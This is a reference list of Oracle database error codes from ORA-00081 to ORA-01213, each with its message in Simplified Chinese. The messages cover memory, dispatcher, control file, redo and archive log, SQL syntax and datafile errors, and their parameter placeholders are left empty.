ORA-00081: 地址范围 [,) 不可读

ORA-00082:  的内存大小不在有效集合 [1], [2], [4] 之内

ORA-00083: 警告: 可能损坏映射的 SGA

ORA-00084: 全局区域必须为 PGA, SGA 或 UGA

ORA-00085: 当前调用不存在

ORA-00086: 用户调用不存在

ORA-00087: 命令无法在远程例程上执行

ORA-00088: 共享服务器无法执行命令

ORA-00089: ORADEBUG 命令中无效的例程号

ORA-00090: 未能将内存分配给群集数据库 ORADEBUG 命令

ORA-00091: LARGE_POOL_SIZE 至少必须为

ORA-00092: LARGE_POOL_SIZE 必须大于 LARGE_POOL_MIN_ALLOC

ORA-00093:  必须介于  和  之间

ORA-00094:  要求整数值

ORA-00096: 值  对参数  无效,它必须来自  之间

ORA-00097: 使用 Oracle SQL 特性不在 SQL92  级中

ORA-00099: 等待资源时发生超时,可能是 PDML 死锁所致

ORA-00100: 未找到数据

ORA-00101: 系统参数 DISPATCHERS 的说明无效

ORA-00102: 调度程序无法使用网络协议

ORA-00103: 无效的网络协议;供调度程序备用

ORA-00104: 检测到死锁;全部公用服务器已锁定等待资源

ORA-00105: 未配置网络协议  的调度机制

ORA-00106: 无法在连接到调度程序时启动/关闭数据库

ORA-00107: 无法连接到 ORACLE  进程

ORA-00108: 无法设置调度程序以同步进行连接

ORA-00111: 由于服务器数目限制在 , 所以没有启动所有服务器

ORA-00112: 仅能创建多达  (最多指定) 个调度程序

ORA-00113: 协议名  过长

ORA-00114: 缺少系统参数 SERVICE_NAMES 的值

ORA-00115: 连接被拒绝;调度程序连接表已满

ORA-00116: SERVICE_NAMES 名过长

ORA-00117: 系统参数 SERVICE_NAMES 的值超出范围

ORA-00118: 系统参数 DISPATCHERS 的值超出范围

ORA-00119: 系统参数  的说明无效

ORA-00120: 未启用或安装调度机制

ORA-00121: 在缺少 DISPATCHERS 的情况下指定了 SHARED_SERVERS

ORA-00122: 无法初始化网络配置

ORA-00123: 空闲公用服务器终止

ORA-00124: 在缺少 MAX_SHARED_SERVERS 的情况下指定了 DISPATCHERS

ORA-00125: 连接被拒绝;无效的演示文稿

ORA-00126: 连接被拒绝;无效的重复

ORA-00127: 调度进程  不存在

ORA-00128: 此命令需要调度进程名

ORA-00129: 监听程序地址验证失败 ''

ORA-00130: 监听程序地址 '' 无效

ORA-00131: 网络协议不支持注册 ''

ORA-00132: 语法错误或无法解析的网络名称 ''

ORA-00150: 重复的事务处理 ID

ORA-00151: 无效的事务处理 ID

ORA-00152: 当前会话与请求的会话不匹配

ORA-00153: XA 库中的内部错误

ORA-00154: 事务处理监视器中的协议错误

ORA-00155: 无法在全局事务处理之外执行工作

ORA-00160: 全局事务处理长度  超出了最大值 ()

ORA-00161: 事务处理的分支长度  非法 (允许的最大长度为 )

ORA-00162: 外部 dbid 的长度  超出了最大值 ()

ORA-00163: 内部数据库名长度  超出了最大值 ()

ORA-00164: 在分布式事务处理中不允许独立的事务处理

ORA-00165: 不允许对远程操作进行可移植分布式自治转换

ORA-00200: 无法创建控制文件

ORA-00201: 控制文件版本  与 ORACLE 版本  不兼容

ORA-00202: 控制文件: ''

ORA-00203: 使用错误的控制文件

ORA-00204: 读控制文件时出错 (块 ,# 块 )

ORA-00205: 标识控制文件出错,有关详情,请检查警告日志

ORA-00206: 写控制文件时出错 (块 ,# 块 )

ORA-00207: 控制文件不能用于同一数据库

ORA-00208: 控制文件的名称数超出限制

ORA-00209: 控制文件块大小不匹配,有关详情,请检查警告日志

ORA-00210: 无法打开指定的控制文件

ORA-00211: 控制文件与先前的控制文件不匹配

ORA-00212: 块大小  低于要求的最小大小 ( 字节)

ORA-00213: 不能重新使用控制文件;原文件大小为 ,还需

ORA-00214: 控制文件 '' 版本  与文件 '' 版本  不一致

ORA-00215: 必须至少存在一个控制文件

ORA-00216: 无法重新调整从 8.0.2 移植的控制文件大小

ORA-00217: 从 9.0.1 进行移植无法重新调整控制文件的大小

ORA-00218: 控制文件的块大小  与 DB_BLOCK_SIZE () 不匹配

ORA-00219: 要求的控制文件大小  超出了允许的最大值

ORA-00220: 第一个例程未安装控制文件,有关详情,请检查警告日志

ORA-00221: 写入控制文件出错

ORA-00222: 操作将重新使用当前已安装控制文件的名称

ORA-00223: 转换文件无效或版本不正确

ORA-00224: 控制文件重设大小尝试使用非法记录类型 ()

ORA-00225: 控制文件的预期大小  与实际大小  不同

ORA-00226: 备用控制文件打开时不允许进行操作

ORA-00227: 控制文件中检测到损坏的块: (块 ,# 块 )

ORA-00228: 备用控制文件名长度超出了最大长度

ORA-00229: 操作不允许: 已挂起快照控制文件入队

ORA-00230: 操作不允许: 无法使用快照控制文件入队

ORA-00231: 快照控制文件未命名

ORA-00232: 快照控制文件不存在, 已损坏或无法读取

ORA-00233: 控制文件副本已损坏或无法读取

ORA-00234: 标识或打开快照或复制控制文件时出错

ORA-00235: 控制文件固定表因并发更新而不一致

ORA-00236: 快照操作不允许: 挂上的控制文件为备份文件

ORA-00237: 快照操作不允许: 控制文件新近创建

ORA-00238: 操作将重用属于数据库一部分的文件名

ORA-00250: 未启动存档器

ORA-00251: LOG_ARCHIVE_DUPLEX_DEST 不能是与字符串  相同的目的地

ORA-00252: 日志  在线程  上为空,无法存档

ORA-00253: 字符限制在  以内,归档目的字符串  超出此限制

ORA-00254: 存档控制字符串 '' 时出错

ORA-00255: 存档日志  (线程 , 序列 # ) 时出错

ORA-00256: 无法翻译归档目的字符串

ORA-00257: 存档器错误。在释放之前仅限于内部连接

ORA-00258: NOARCHIVELOG 模式下的人工存档必须标识日志

ORA-00259: 日志  (打开线程 ) 为当前日志,无法存档

ORA-00260: 无法找到联机日志序列  (线程 )

ORA-00261: 正在存档或修改日志  (线程 )

ORA-00262: 当前日志  (关闭线程 ) 无法切换

ORA-00263: 线程  没有需要存档的记录

ORA-00264: 不要求恢复

ORA-00265: 要求例程恢复,无法设置 ARCHIVELOG 模式

ORA-00266: 需要存档日志文件名

ORA-00267: 无需存档日志文件名

ORA-00268: 指定的日志文件不存在 ''

ORA-00269: 指定的日志文件为线程  的一部分 (非 )

ORA-00270: 创建存档日志  时出错

ORA-00271: 没有需要存档的日志

ORA-00272: 写存档日志  时出错

ORA-00273: 未记录的直接加载数据的介质恢复

ORA-00274: 非法恢复选项

ORA-00275: 已经开始介质恢复

ORA-00276: CHANGE 关键字已指定但未给出更改编号

ORA-00277: UNTIL 恢复标志  的非法选项

ORA-00278: 此恢复不再需要日志文件 ''

ORA-00279: 更改  (在  生成) 对于线程  是必需的

ORA-00280: 更改  对于线程  是按序列 #  进行的

ORA-00281: 不能使用调度进程执行介质恢复

ORA-00282: UPI  调用不被支持,请使用 ALTER DATABASE RECOVER

ORA-00283: 恢复会话因错误而取消

ORA-00284: 恢复会话仍在进行

ORA-00285: TIME 未作为字符串常数给出

ORA-00286: 无可用成员,或成员无有效数据

ORA-00287: 未找到指定的更改编号  (在线程  中)

ORA-00288: 要继续恢复,请键入 ALTER DATABASE RECOVER CONTINUE

ORA-00289: 建议:

ORA-00290: 操作系统出现存档错误。请参阅下面的错误

ORA-00291: PARALLEL 选项要求数字值

ORA-00292: 未安装并行恢复功能

ORA-00293: 控制文件与重做日志不同步

ORA-00294: 无效的存档日志格式标识 ''

ORA-00295: 数据文件号  无效,必须介于 1 与  之间

ORA-00296: 已超出 RECOVER DATAFILE LIST 的最大文件数 ()

ORA-00297: 必须在 RECOVER DATAFILE START 之前指定 RECOVER DATAFILE LIST

ORA-00298: 丢失或无效的 TIMEOUT 间隔

ORA- 00299: 必须在数据文件  上使用文件级介质恢复

ORA-00300: 指定的重做日志块大小  非法 - 超出限制

ORA-00301: 添加日志文件 '' 时出错 - 无法创建文件

ORA-00302: 日志超出限制

ORA-00303: 无法处理多次中断的重做

ORA-00304: 请求的 INSTANCE_NUMBER 在使用中

ORA-00305: 日志  (线程 ) 不一致;属于另一个数据库

ORA-00306: 此数据库中的例程限制

ORA-00307: 请求的 INSTANCE_NUMBER 超出限制,最大为

ORA-00308: 无法打开存档日志 ''

ORA-00309: 日志属于错误的数据库

ORA-00310: 存档日志包含序列 ;要求序列

ORA-00311: 无法从存档日志读取标题

ORA-00312: 联机日志  线程 : ''

ORA-00313: 无法打开日志组  (线程 ) 的成员

ORA-00314: 日志  (线程 ),预计序号  与  不匹配

ORA-00315: 日志  (线程 ),标题中的线程 #  错误

ORA-00316: 日志  (线程 ),标题中的类型  不是日志文件

ORA-00317: 标题中的文件类型  不是日志文件

ORA-00318: 日志  (线程 ),预计文件大小  与  不匹配

ORA-00319: 日志  (线程 ) 具有错误的日志重置状态

ORA-00320: 无法从日志  (线程 ) 读取文件标题

ORA-00321: 日志  (线程 ),无法更新日志文件标题

ORA-00322: 日志  (线程 ) 不是当前副本

ORA-00323: 线程  的当前日志不可用而所有其它日志均需要存档

ORA-00324: 日志文件 '' 的翻译名 '' 太长, 字符超出  限制

ORA-00325: 已归档线程  的日志,标题中的线程 #  错误

ORA-00326: 日志在更改  开始,需要更早的更改

ORA-00327: 日志  (线程 ),实际大小  小于需要的

ORA-00328: 归档日志在更改  结束,需要稍后的更改

ORA-00329: 归档日志在更改  开始,需要更改

ORA-00330: 归档日志在更改  结束,需要更改

ORA-00331: 日志版本  与 ORACLE 版本  不兼容

ORA-00332: 归档日志过小 - 可能未完全归档

ORA-00333: 重做日志读取块  计数  出错

ORA-00334: 归档日志: ''

ORA-00335: 联机日志 : 没有此编号的日志,日志不存在

ORA-00336: 大小为  的日志文件块数小于最小  块数

ORA-00337: 日志文件 '' 不存在且未指定大小

ORA-00338: 日志  (线程 ) 比控制文件更新

ORA-00339: 归档日志未包含任何重做

ORA-00340: 处理联机日志  (线程 ) 时出现 I/O 错误

ORA-00341: 日志  (线程 ),标题中的日志 #  错误

ORA-00342: 归档日志在上一个 RESETLOGS 之前创建程序包

ORA-00343: 错误过多,已关闭日志成员

ORA-00344: 无法重新创建联机日志 ''

ORA-00345: 重做日志写入块  计数  出错

ORA-00346: 日志成员标记为 STALE

ORA-00347: 日志  (线程 ),预计块大小  与  不匹配

ORA-00348: 单一进程重做失败;必须中止例程

ORA-00349: 无法获得 '' 的块大小

ORA-00350: 日志  (线程 ) 中需要归档

ORA-00351: recover-to 时间无效

ORA-00352: 线程  的所有日志均需要归档 - 无法启用

ORA-00353: 日志损坏接近块  更改  时间

ORA-00354: 损坏重做日志块标题

ORA-00355: 更改编号无次序

ORA-00356: 更改说明中的长度不一致

ORA-00357: 日志文件指定了过多成员,最大为

ORA-00358: 指定了过多文件成员,最大为

ORA-00359: 日志文件组  不存在

ORA-00360: 非日志文件成员:

ORA-00361: 无法删除最后一个日志成员  (组 )

ORA-00362: 组成组  中的有效日志文件要求输入成员

ORA-00363: 日志不是归档版本

ORA-00364: 无法将标题写入新日志成员

ORA-00365: 指定日志不是正确的下一个日志

ORA-00366: 日志  (线程 ),文件标题中的校验和错误

ORA-00367: 日志文件标题中的校验和错误

ORA-00368: 重做日志块中的校验和错误

ORA-00369: 线程  的当前日志不可用且其它日志已被清除

ORA-00370: Rcbchange 操作过程中可能出现死锁

ORA-00371: 共享池内存不足

ORA-00372: 此时无法修改文件

ORA-00373: 联机日志版本  与 ORACLE 版本  不兼容

ORA-00374: 参数 db_block_size =  无效; 它必须是  的倍数, 范围为 [..]

ORA-00375: 无法获得默认 db_block_size

ORA-00376: 此时无法读取文件

ORA-00377: 文件  的频繁备份导致写操作延迟

ORA-00378: 无法按指定创建缓冲池

ORA-00379: 缓冲池  中无法提供 K 块大小的空闲缓冲区

ORA-00380: 无法指定 db_k_cache_size, 因为 K 是标准块大小

ORA-00381: 无法将新参数和旧参数同时用于缓冲区高速缓存的大小说明

ORA-00382:  不是有效的块大小, 有效范围为 [..]

ORA-00383: DEFAULT 高速缓存的块大小  不能减少至零

ORA-00384: 没有足够的内存来增加高速缓存的大小

ORA-00385: cannot enable Very Large Memory with new buffer cache parameters

ORA-00390: 日志  (线程 ) 正被清除,无法成为当前日志

ORA-00391: 所有线程必须同时转换为新的日志格式

ORA-00392: 日志  (线程 ) 正被清除,不允许操作

ORA-00393: 脱机数据文件的恢复需要日志  (线程 )

ORA-00394: 在尝试存档时重新使用联机日志

ORA-00395: '克隆' 数据库的联机日志必须重命名

ORA-00396: 错误  需要退回到单次遍历恢复

ORA-00397: 对于文件  (块 ), 检测到写入丢失情况

ORA-00398: 由于重新配置而中止了线程恢复

ORA-00399: 重做日志中的更改说明已损坏

ORA-00400: 无效的版本值  (对于参数 )

ORA-00401: 此版本不支持参数  的值

ORA-00402: 版本  的数据库更改无法用于版本

ORA-00403:  () 不同于其它例程 ()

ORA-00404: 未找到转换文件: ''

ORA-00405: 兼容类型“”

ORA-00406: COMPATIBLE 参数需要为  或更大

ORA-00407: 不允许从版本 . 到 . 滚动升级

ORA-00408: 参数  设置为 TRUE

ORA-00409: COMPATIBLE 必须是  或更高值才能使用 AUTO SEGMENT SPACE MANAGEMENT

ORA-00436: 没有 ORACLE软件使用权,请与 Oracle 公司联系获得帮助

ORA-00437: 没有 ORACLE 软件功能使用权,请与 Oracle 公司联系获得帮助

ORA-00438: 未安装  选项

ORA-00439: 未启用特性:

ORA-00443: 背景进程 “” 未启动

ORA-00444: 背景进程 “” 启动时失败

ORA-00445: 背景进程 “” 在  秒之后仍没有启动

ORA-00446: 背景进程意外启动

ORA-00447: 背景进程出现致命错误

ORA-00448: 背景进程正常结束

ORA-00449: 背景进程 '' 因错误  异常终止

ORA-00470: LGWR 进程因错误而终止

ORA-00471: DBWR 进程因错误而终止

ORA-00472: PMON 进程因错误而终止

ORA-00473: ARCH 进程因错误而终止

ORA-00474: SMON 进程因错误而终止

ORA-00475: TRWR 进程因错误而终止

ORA-00476: RECO 进程因错误而终止

ORA-00477: SNP* 进程因错误而终止

ORA-00478: SMON 进程由于  错误终止

ORA-00480: LCK* 进程因错误而终止

ORA-00481: LMON 进程因错误而终止

ORA-00482: LMD* 进程因错误而终止

ORA-00483: 关闭进程过程中异常终止

ORA-00484: LMS* 进程因错误而终止

ORA-00485: DIAG 进程由于  错误终止

ORA-00486: 功能不可用

ORA-00568: 超出中断处理程序的最大数

ORA-00574: osndnt: $CANCEL 失败 (中断)

ORA-00575: osndnt: $QIO 失败 (发送 out-of-band 中断)

ORA-00576: 带内中断协议错误

ORA- 00577: 带外中断协议错误

ORA-00578: 重置协议错误

ORA-00579: osndnt: 服务器收到连接请求格式不正确

ORA-00580: 协议版本不匹配

ORA-00581: osndnt: 无法分配上下文区域

ORA-00582: osndnt: 无法撤消分配上下文区域

ORA-00583: osndnt: $TRNLOG 失败

ORA-00584: 无法关闭连接

ORA-00585: 主机名称格式错误

ORA-00586: osndnt: LIB$ASN_WTH_MBX 失败

ORA-00587: 无法连接到远程主机

ORA-00588: 来自主机的信息过短

ORA-00589: 来自主机的信息数据长度错误

ORA-00590: 来自主机的信息类型错误

ORA-00591: 写入的字节数错误

ORA-00592: osndnt: $QIO 失败 (邮箱队列)

ORA-00593: osndnt: $DASSGN 失败 (网络设备)

ORA-00594: osndnt: $DASSGN 失败 (邮箱)

ORA-00595: osndnt: $QIO 失败 (接收)

ORA-00596: osndnt: $QIO 失败 (发送)

ORA-00597: osndnt: $QIO 失败 (邮箱队列)

ORA-00598: osndnt: $QIO IO 失败 (邮箱读取)

ORA-00600: 内部错误代码,参数: [], [], [], [], [], [], [], []

ORA-00601: 清除锁定冲突

ORA-00602: 内部编程异常错误

ORA-00603: ORACLE 服务器会话因致命错误而终止

ORA-00604: 递归 SQL 层  出现错误

ORA-00606: 内部错误代码

ORA-00607: 当更改数据块时出现内部错误

ORA-00701: 无法改变热启动数据库所需的对象

ORA-00702: 引导程序版本 '' 与版本 '' 不一致

ORA-00703: 超出行高速缓存例程锁的最大数

ORA-00704: 引导程序进程失败

ORA-00705: 启动过程中的状态不一致;请在关闭例程后重新启动

ORA-00706: 更改文件 '' 的格式时出错

ORA-00816: 错误信息无法转换

ORA-00900: 无效 SQL 语句

ORA-00901: 无效 CREATE 命令

ORA-00902: 无效数据类型

ORA-00903: 表名无效

ORA-00904: : 无效的标识符

ORA-00905: 缺少关键字

ORA-00906: 缺少左括号

ORA-00907: 缺少右括号

ORA-00908: 缺少 NULL 关键字

ORA-00909: 参数个数无效

ORA-00910: 指定的长度对于数据类型而言过长

ORA-00911: 无效字符

ORA-00913: 值过多

ORA-00914: 缺少 ADD 关键字

ORA-00915: 当前不允许网络访问字典表

ORA-00917: 缺少逗号

ORA-00918: 未明确定义列

ORA-00919: 无效函数

ORA-00920: 无效的关系运算符

ORA-00921: 未预期的 SQL 命令结尾

ORA-00922: 缺少或无效选项

ORA-00923: 未找到预期 FROM 关键字

ORA-00924: 缺少 BY 关键字

ORA-00925: 缺失 INTO 关键字

ORA-00926: 缺少 VALUES 关键字

ORA-00927: 缺少等号

ORA-00928: 缺少 SELECT 关键字

ORA-00929: 缺少句号

ORA-00930: 缺少星号

ORA-00931: 缺少标识

ORA-00932: 不一致的数据类型: 要求  得到的却是

ORA-00933: SQL 命令未正确结束

ORA-00934: 此处不允许使用分组函数

ORA-00935: 分组函数的嵌套太深

ORA-00936: 缺少表达式

ORA-00937: 非单组分组函数

ORA-00938: 函数没有足够的参数

ORA-00939: 函数的参数过多

ORA-00940: 无效的 ALTER 命令

ORA-00941: 群集名缺少

ORA-00942: 表或视图不存在

ORA-00943: 群集不存在

ORA-00944: 没有足够的聚簇列数

ORA-00945: 指定的聚簇列不存在

ORA-00946: 缺少 TO 关键字

ORA-00947: 没有足够的值

ORA-00948: 不再支持 ALTER CLUSTER 语句

ORA-00949: 非法引用远程数据库

ORA-00950: 无效 DROP 选项

ORA-00951: 群集非空

ORA-00952: 缺少 GROUP 关键字

ORA-00953: 缺少或无效索引名

ORA-00954: 缺少 IDENTIFIED 关键字

ORA-00955: 名称已由现有对象使用

ORA-00956: 缺少或无效审计选项

ORA-00957: 列名重复

ORA-00958: 缺少 CHECK 关键字

ORA-00959: 表空间''不存在

ORA-00960: 选择列表中的命名含糊

ORA-00961: 错误的日期/间隔值

ORA-00962: group-by / order-by 表达式过多

ORA-00963: 不支持的间隔类型

ORA-00964: 表名不在 FROM 列表中

ORA-00965: 列别名中不允许'*'

ORA-00966: 缺少 TABLE 关键字

ORA-00967: 缺少 WHERE 关键字

ORA-00968: 缺少 INDEX 关键字

ORA-00969: 缺少 ON 关键字

ORA-00970: 缺少 WITH 关键字

ORA-00971: 缺少 SET 关键字

ORA-00972: 标识过长

ORA-00973: 无效的行数估计

ORA-00974: 无效 PCTFREE 值 (百分比)

ORA-00975: 不允许日期 + 日期

ORA-00976: 此处不允许为 LEVEL, PRIOR 或 ROWNUM

ORA-00977: 重复的审计选项

ORA-00978: 嵌套分组函数没有 GROUT BY

ORA-00979: 不是 GROUP BY 表达式

ORA-00980: 同义词转换不再有效

ORA-00981: 不能将表和系统审计选项混在一起

ORA-00982: 缺少加号

ORA-00984: 列在此处不允许

ORA-00985: 无效的程序名

ORA-00986: 缺少或无效组名

ORA-00987: 缺少或无效用户名

ORA-00988: 缺少或无效口令

ORA-00989: 给出的用户名口令过多

ORA-00990: 缺少或无效权限

ORA-00991: 过程仅有 MAC 权限

ORA-00992: REVOKE 命令格式无效

ORA-00993: 缺少 GRANT 关键字

ORA-00994: 缺少 OPTION 关键字

ORA-00995: 缺少或无效同义词标识

ORA-00996: 连接运算符是 || 而不是 |

ORA-00997: 非法使用 LONG 数据类型

ORA-00998: 必须使用列别名命名此表达式

ORA-00999: 无效的视图名

ORA-01000: 超出打开游标的最大数

ORA-01001: 无效的游标

ORA-01002: 读取违反顺序

ORA-01003: 语句未进行语法分析

ORA-01004: 不支持默认用户名特性;登录被拒绝

ORA-01005: 未给出口令;登录被拒绝

ORA-01006: 赋值变量不存在

ORA-01007: 选择列表中没有变量

ORA-01008: 并非所有变量都已关联

ORA-01009: 缺少法定参数

ORA-01010: 无效的 OCI 操作

ORA-01011: 在与第 6 版服务器会话时不能使用第 7 版兼容模式

ORA-01012: 没有登录

ORA-01013: 用户请求取消当前的操作

ORA-01014: ORACLE 正在关闭过程中

ORA-01015: 循环登录请求

ORA-01016: 此函数仅可以在读取后调用

ORA-01017: 无效的用户名/口令;拒绝登录

ORA-01018: 列不具有 LONG 数据类型

ORA-01019: 无法在用户方分配内存

ORA-01020: 未知的上下文状态

ORA-01021: 指定的上下文大小无效

ORA-01022: 此配置中不支持数据库操作

ORA-01023: 未找到游标上下文 (无效的游标编号)

ORA-01024: OCI 调用中的数据类型无效

ORA-01025: UPI 参数超出范围

ORA-01026: 赋值列表中存在多个大小 > 4000 的缓冲区

ORA-01027: 在数据定义操作中不允许对变量赋值

ORA-01028: 内部双工错误

ORA-01029: 内部双工错误

ORA-01030: SELECT ...INTO 变量不存在

ORA-01031: 权限不足

ORA-01032: 没有这样的用户标识

ORA-01033: ORACLE 正在初始化或关闭过程中

ORA-01034: ORACLE 不可用

ORA-01035: ORACLE 只允许具有 RESTRICTED SESSION 权限的用户使用

ORA-01036: 非法的变量名/编号

ORA-01037: 超出最大游标内存

ORA-01038: 无法写入数据库文件版本  (使用 ORACLE 版本 )

ORA-01039: 视图基本对象的权限不足

ORA-01040: 口令中的字符无效;登录被拒绝

ORA-01041: 内部错误,hostdef 扩展名不存在

ORA-01042: 不允许使用打开游标分离会话

ORA-01043: 用户方内存损坏 [], [], [], []

ORA-01044: 缓冲区大小  (与变量关联) 超出了最大限制

ORA-01045: 用户  没有 CREATE SESSION 权限;登录被拒绝

ORA-01046: 无法获得扩展上下文区域的空间

ORA-01047: 以上错误出现在 schema=, package=, procedure= 中

ORA-01048: 给定的上下文中无法找到指定的过程

ORA-01049: 流动 RPC 中不支持按名称赋值

ORA-01050: 无法获得打开上下文区域的空间

ORA-01051: 延迟 rpc 缓冲区格式无效

ORA-01052: 未指定所需的目的 LOG_ARCHIVE_DUPLEX_DEST

ORA-01053: 无法读取用户存储地址

ORA-01054: 无法写入用户存储地址

ORA-01057: 用户出口中引用的 block.field 无效或有歧义

ORA-01058: 内部 New Upi 接口错误

ORA-01059: 在赋值或执行之前进行语法分析

ORA-01060: 不允许数组赋值或执行

ORA-01061: 无法使用第 7 版客户应用程序启动第 8 版服务器

ORA-01062: 无法分配定义缓冲区所需的内存

ORA-01070: 服务器使用 Oracle 的旧版本

ORA-01071: 无法不启动 ORACLE 而执行操作

ORA-01072: 无法停止 ORACLE;因为 ORACLE 不在运行

ORA-01073: 致命的连接错误: 不能识别的调用类型

ORA-01074: 无法关闭 ORACLE;请首先在注册会话中注销

ORA-01075: 您现在已登录

ORA-01076: 尚不支持每个进程的多次登录

ORA-01077: 背景进程初始化失败

ORA-01078: 处理系统参数失败

ORA-01079: ORALCE 数据库未正确创建,操作中止

ORA-01080: 关闭 ORACLE 时出错

ORA-01081: 无法启动已在运行的 ORACLE --- 请首先关闭

ORA-01082: 'row_locking = always' 要求事务处理处理选项

ORA-01083: 参数 “” 的值与其它例程序的相应参数值不一致,

ORA-01084: OCI 调用中的参数无效

ORA-01085: 延迟 rpc 到 “..” 之前的错误

ORA-01086: 从未创建保留点 ''

ORA-01087: 不能启动 ORALCE --- 现在已登录

ORA-01088: 不能在存在活动进程时关闭 ORACLE

ORA-01089: 正在进行紧急关闭 - 不允许进行任何操作

ORA-01090: 正在进行关闭 --- 不允许连接

ORA-01091: 强行启动出错

ORA-01092: ORACLE 例程终止。强行断开连接

ORA-01093: ALTER DATABASE CLOSE 仅允许在没有连接会话时使用

ORA-01094: ALTER DATABASE CLOSE 正在进行。不允许连接

ORA-01095: DML 语句处理了零个行

ORA- 01096: 程序版本 () 与例程 () 不兼容

ORA-01097: 无法在事务处理过程中关闭 - 首先提交或返回

ORA-01098: 在 Long Insert 过程中出现程序接口错误

ORA-01099: 如果在单进程模式下启动,则无法在 SHARED 模式下安装数据库

ORA-01100: 数据库已安装

ORA-01101: 要创建的数据库当前正由其它例程安装

ORA-01102: 无法在 EXCLUSIVE 模式下安装数据库

ORA-01103: 控制文件中的数据库名 '' 不是 ''

ORA-01104: 控制文件数 () 不等于

ORA-01105: 安装与其它例程的安装不兼容

ORA-01106: 必须在卸下之前关闭数据库

ORA-01107: 必须安装数据库才可以进行介质恢复

ORA-01108: 文件  正处于备份或介质恢复过程中

ORA-01109: 数据库未打开

ORA-01110: 数据文件 : ''

ORA-01111: 数据文件  名称未知 - 请重命名以更正文件

ORA-01112: 未启动介质恢复

ORA-01113: 文件  需要介质恢复

ORA-01114: 将块写入文件  时出现 IO 错误 (块 # )

ORA-01115: 从文件  读取块时出现 IO 错误 (块 # )

ORA-01116: 打开数据库文件时出错

ORA-01117: 对文件 '' 添加非法块大小: ;限制为

ORA-01118: 无法添加任何其它数据库文件: 超出限制

ORA-01119: 创建数据库文件 '' 时出错

ORA-01120: 无法删除联机数据库文件

ORA-01121: 无法重命名数据库文件  - 文件在使用中或在恢复中

ORA-01122: 数据库文件  验证失败

ORA-01123: 无法启动联机备份;未启用介质恢复

ORA-01124: 无法恢复数据文件  - 文件在使用中或在恢复中

ORA-01125: 无法禁用介质恢复 - 文件  设置了联机备份

ORA-01126: 对于此操作,数据库必须以 EXCLUSIVE 模式安装且未打开

ORA-01127: 数据库名 '' 超出  个字符的限制

ORA-01128: 无法启动联机备份 - 文件  处于脱机状态

ORA-01129: 用户默认或临时表空间不存在

ORA-01130: 数据库文件版本  与 ORACLE 版本  不兼容

ORA-01131: DB_FILES 系统参数值  超出限制

ORA-01132: 数据库文件名 '' 的长度超出  个字符的限制

ORA-01133: 日志文件名 '' 的长度超出  个字符的限制

ORA-01134: 数据库已由其它例程独立安装

ORA-01135: DML/query 访问的文件  处于脱机状态

ORA-01136: 文件  ( 块) 的指定大小小于  块的原大小

ORA-01137: 数据文件  仍处于脱机过程中

ORA-01138: 数据库必须在此例程中打开或根本没有打开

ORA-01139: RESETLOGS 选项仅在不完全数据库恢复后有效

ORA- 01140: 无法结束联机备份 - 所有文件均处于脱机状态

ORA-01141: 重命名数据文件  时出错 - 未找到新文件 ''

ORA-01142: 无法结束联机备份 - 没有文件在备份中

ORA-01143: 不能禁用介质恢复 - 文件  需要介质恢复

ORA-01144: 文件大小 ( 块) 超出  块的最大数

ORA-01145: 除非启用了介质恢复,否则不允许紧急脱机

ORA-01146: 无法启动联机备份 - 文件  已在备份中

ORA-01147: SYSTEM 表空间文件  处于脱机状态

ORA-01149: 无法关闭 - 文件  设置了联机备份

ORA-01150: 无法防止写入 - 文件  设置了联机备份

ORA-01151: 如果需要,请使用介质恢复以恢复块和恢复备份

ORA-01152: 文件  没有从完备的旧备份中恢复

ORA-01153: 激活了不兼容的介质恢复

ORA-01154: 数据库正在运行。现在不允许打开, 关闭, 安装和拆卸

ORA-01155: 正在打开, 关闭, 安装或拆卸数据库

ORA-01156: 进行中的恢复可能需要访问文件

ORA-01157: 无法标识/锁定数据文件  - 请参阅 DBWR 跟踪文件

ORA-01158: 数据库  已安装

ORA-01159: 文件并非来自先前文件的同一数据库 - 数据库标识错误

ORA-01160: 文件不是

ORA-01161: 文件标题中的数据库名  与给定的名称  不匹配

ORA-01162: 文件标题中的块大小  与配置的块大小不匹配

ORA-01163: SIZE 子句表示  (块),但应与标题  匹配

ORA-01164: MAXLOGFILES 不可以超出

ORA-01165: MAXDATAFILES 不可以超出

ORA-01166: 文件数量  大于  ()

ORA-01167: 这两个文件为相同的文件/组号或相同的文件

ORA-01168: 物理块大小  与其它成员的大小  不匹配

ORA-01169: 未找到 DATAFILE 编号 1。此编号必须存在

ORA-01170: 文件未找到 ''

ORA-01171: 数据文件因高级检查点错误而将脱机

ORA-01172: 线程的恢复停止在块(在文件中)

ORA-01173: 数据字典指明从系统表空间丢失的数据文件

ORA-01174: DB_FILES 为 ,但需要为  才能兼容

ORA-01175: 例程允许数据字典具有多于个文件

ORA-01176: 控制文件允许数据字典具有多于个文件

ORA-01177: 数据文件与字典不匹配- 可能是旧的原型

ORA-01178: 文件  在最后一个 CREATE CONTROLFILE 之前创建,无法重新创建

ORA-01179: 文件  不存在

ORA-01180: 无法创建数据文件 1

ORA-01181: 文件在最后一个 RESETLOGS 之前创建,无法重新创建

ORA-01182: 无法创建数据文件 - 文件在使用中或在恢复中

ORA-01183: 无法在 SHARED 模式下安装数据库

ORA-01184: 日志文件组已经存在

ORA-01185: 日志文件组号无效

ORA-01186: 文件  验证测试失败

ORA-01187: 由于验证测试失败而无法从文件  读取

ORA-01188: 标题中的块大小与物理块大小不匹配

ORA-01189: 文件来自于与先前文件不同的 RESETLOGS

ORA-01190: 控制文件或数据文件来自于最后一个 RESETLOGS 之前

ORA-01191: 文件已经脱机 - 无法进行正常脱机

ORA-01192: 必须启用至少一个线程

ORA-01193: 文件与恢复开始时的文件不同

ORA-01194: 文件需要更多的恢复来保持一致性

ORA-01195: 文件的联机备份需要更多的恢复来保持一致性

ORA-01196: 文件由于介质恢复会话失败而不一致

ORA-01197: 线程仅包含一个日志

ORA-01198: 在选项为 RESETLOGS 时必须指定日志文件的大小

ORA-01199: 文件不处于联机备份模式

ORA-01200: 的实际文件大小小于块的正确大小

ORA-01201: 文件标题无法正确写入

ORA-01202: 此文件的原型错误 - 创建时间错误

ORA-01203: 此文件的原型错误 - 创建 SCN 错误

ORA-01204: 文件号是而不是  - 文件错误

ORA-01205: 不是数据文件 - 标题的类型编号是

ORA-01206: 文件不是此数据库的一部份 - 数据库标识错误

ORA-01207: 文件比控制文件更新 - 旧的控制文件

ORA-01208: 数据文件是旧的版本 - 不能访问当前版本

ORA-01209: 数据文件来自最后一个 RESETLOGS 之前

ORA-01210: 数据文件标题是介质损坏

ORA-01211: Oracle7 数据文件不是来自于 Oracle8 的移植版本

ORA-01212: MAXLOGMEMBERS 不可以超出

ORA-01213: MAXINSTANCES 不可以超出
